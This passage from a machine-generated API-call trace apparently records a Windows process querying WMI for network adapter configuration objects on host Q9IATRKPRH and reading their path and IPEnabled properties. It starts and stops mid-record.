ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.607] IUnknown:QueryInterface (in: This=0x89f838, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.607] IUnknown:AddRef (This=0x89f838) returned 0x3 [0272.607] IUnknown:QueryInterface (in: This=0x89f838, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.607] IUnknown:QueryInterface (in: This=0x89f838, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.607] IUnknown:QueryInterface (in: This=0x89f838, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x89f83c) returned 0x0 [0272.607] IMarshal:GetUnmarshalClass (in: This=0x89f83c, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.607] IUnknown:Release (This=0x89f83c) returned 0x3 [0272.607] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.608] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.608] IUnknown:QueryInterface (in: This=0x89f838, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.608] IUnknown:Release (This=0x89f838) returned 0x2 [0272.608] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.608] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.608] IUnknown:QueryInterface (in: This=0x89f838, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x89f838) returned 0x0 [0272.608] IUnknown:AddRef (This=0x89f838) returned 0x4 [0272.608] IUnknown:Release (This=0x89f838) returned 0x3 [0272.608] IUnknown:Release (This=0x89f838) returned 0x2 [0272.608] CoTaskMemFree (pv=0x8a2ce8) [0272.608] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.608] IUnknown:AddRef (This=0x89f838) returned 0x3 [0272.608] IWbemClassObject:Get (in: This=0x89f838, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.609] IWbemClassObject:Get (in: This=0x89f838, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=1", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.609] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=1") returned 0x82 [0272.609] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=1") returned 0x82 [0272.609] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x394 [0272.609] SetEvent (hEvent=0x2c4) returned 1 [0272.609] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x394, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.612] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.612] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.613] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c460, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x84c460) returned 0x0 [0272.613] WbemDefPath:IUnknown:AddRef (This=0x84c460) returned 0x3 [0272.613] WbemDefPath:IUnknown:Release (This=0x84c460) returned 0x2 [0272.613] WbemDefPath:IWbemPath:SetText (This=0x84c460, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=1") returned 0x0 [0272.613] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.613] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.613] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.613] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.613] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.613] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.613] IWbemClassObject:Get (in: This=0x89f838, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2576e8c*=0, plFlavor=0x2576e90*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2576e8c*=11, plFlavor=0x2576e90*=0) returned 0x0 [0272.613] IWbemClassObject:Get (in: This=0x89f838, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2576e8c*=11, plFlavor=0x2576e90*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2576e8c*=11, plFlavor=0x2576e90*=0) returned 0x0 [0272.614] IUnknown:Release (This=0x89f838) returned 0x2 [0272.614] CoTaskMemAlloc (cb=0x4) returned 0x8a2d38 [0272.614] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8a2d38, puReturned=0x2575b1c | out: apObjects=0x8a2d38*=0x8a0338, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.616] IUnknown:QueryInterface (in: This=0x8a0338, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x8a0338) returned 0x0 [0272.616] IUnknown:QueryInterface (in: This=0x8a0338, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.617] IUnknown:QueryInterface (in: This=0x8a0338, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.617] IUnknown:AddRef (This=0x8a0338) returned 0x3 [0272.617] IUnknown:QueryInterface (in: This=0x8a0338, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.617] IUnknown:QueryInterface (in: This=0x8a0338, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.617] IUnknown:QueryInterface (in: This=0x8a0338, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x8a033c) returned 0x0 [0272.617] IMarshal:GetUnmarshalClass (in: This=0x8a033c, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.617] IUnknown:Release (This=0x8a033c) returned 0x3 [0272.617] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.617] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.617] IUnknown:QueryInterface (in: This=0x8a0338, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.617] IUnknown:Release (This=0x8a0338) returned 0x2 [0272.617] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.617] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.617] IUnknown:QueryInterface (in: This=0x8a0338, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x8a0338) returned 0x0 [0272.617] IUnknown:AddRef (This=0x8a0338) returned 0x4 [0272.617] IUnknown:Release (This=0x8a0338) returned 0x3 [0272.617] IUnknown:Release (This=0x8a0338) returned 0x2 [0272.617] CoTaskMemFree (pv=0x8a2d38) [0272.617] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.618] IUnknown:AddRef (This=0x8a0338) returned 0x3 [0272.618] IWbemClassObject:Get (in: This=0x8a0338, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.618] IWbemClassObject:Get (in: This=0x8a0338, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=2", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.618] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=2") returned 0x82 [0272.618] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=2") returned 0x82 [0272.618] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x398 [0272.618] SetEvent (hEvent=0x2c4) returned 1 [0272.618] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x398, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.621] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.621] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.621] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c4d0, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x84c4d0) returned 0x0 [0272.621] WbemDefPath:IUnknown:AddRef (This=0x84c4d0) returned 0x3 [0272.621] WbemDefPath:IUnknown:Release (This=0x84c4d0) returned 0x2 [0272.621] WbemDefPath:IWbemPath:SetText (This=0x84c4d0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=2") returned 0x0 [0272.621] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.621] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.621] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.621] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.621] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.621] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.621] IWbemClassObject:Get (in: This=0x8a0338, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2577708*=0, plFlavor=0x257770c*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2577708*=11, plFlavor=0x257770c*=0) returned 0x0 [0272.621] IWbemClassObject:Get (in: This=0x8a0338, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2577708*=11, plFlavor=0x257770c*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2577708*=11, plFlavor=0x257770c*=0) returned 0x0 [0272.621] IUnknown:Release (This=0x8a0338) returned 0x2 [0272.621] CoTaskMemAlloc (cb=0x4) returned 0x8a2d88 [0272.621] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8a2d88, puReturned=0x2575b1c | out: apObjects=0x8a2d88*=0x8a0670, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.624] IUnknown:QueryInterface (in: This=0x8a0670, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x8a0670) returned 0x0 [0272.624] IUnknown:QueryInterface (in: This=0x8a0670, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.624] IUnknown:QueryInterface (in: This=0x8a0670, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.624] IUnknown:AddRef (This=0x8a0670) returned 0x3 [0272.624] IUnknown:QueryInterface (in: This=0x8a0670, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.624] IUnknown:QueryInterface (in: This=0x8a0670, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.624] IUnknown:QueryInterface (in: This=0x8a0670, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x8a0674) returned 0x0 [0272.624] IMarshal:GetUnmarshalClass (in: This=0x8a0674, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.624] IUnknown:Release (This=0x8a0674) returned 0x3 [0272.625] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.625] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.625] IUnknown:QueryInterface (in: This=0x8a0670, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.625] IUnknown:Release (This=0x8a0670) returned 0x2 [0272.625] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.625] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.625] IUnknown:QueryInterface (in: This=0x8a0670, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x8a0670) returned 0x0 [0272.625] IUnknown:AddRef (This=0x8a0670) returned 0x4 [0272.625] IUnknown:Release (This=0x8a0670) returned 0x3 [0272.625] IUnknown:Release (This=0x8a0670) returned 0x2 [0272.625] CoTaskMemFree (pv=0x8a2d88) [0272.625] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.625] IUnknown:AddRef (This=0x8a0670) returned 0x3 [0272.625] IWbemClassObject:Get (in: This=0x8a0670, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.625] IWbemClassObject:Get (in: This=0x8a0670, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=3", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.625] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=3") returned 0x82 [0272.626] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=3") returned 0x82 [0272.626] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x39c [0272.626] SetEvent (hEvent=0x2c4) returned 1 [0272.626] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x39c, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.628] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.628] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.628] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb28, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x8bbb28) returned 0x0 [0272.628] WbemDefPath:IUnknown:AddRef (This=0x8bbb28) returned 0x3 [0272.628] WbemDefPath:IUnknown:Release (This=0x8bbb28) returned 0x2 [0272.628] WbemDefPath:IWbemPath:SetText (This=0x8bbb28, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=3") returned 0x0 [0272.628] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.628] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.628] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.628] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.628] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.628] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.628] IWbemClassObject:Get (in: This=0x8a0670, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2577f84*=0, plFlavor=0x2577f88*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2577f84*=11, plFlavor=0x2577f88*=0) returned 0x0 [0272.629] IWbemClassObject:Get (in: This=0x8a0670, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2577f84*=11, plFlavor=0x2577f88*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2577f84*=11, plFlavor=0x2577f88*=0) returned 0x0 [0272.629] IUnknown:Release (This=0x8a0670) returned 0x2 [0272.629] CoTaskMemAlloc (cb=0x4) returned 0x8a2dd8 [0272.629] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8a2dd8, puReturned=0x2575b1c | out: apObjects=0x8a2dd8*=0x8a09a8, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.636] IUnknown:QueryInterface (in: This=0x8a09a8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x8a09a8) returned 0x0 [0272.637] IUnknown:QueryInterface (in: This=0x8a09a8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.637] IUnknown:QueryInterface (in: This=0x8a09a8, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, 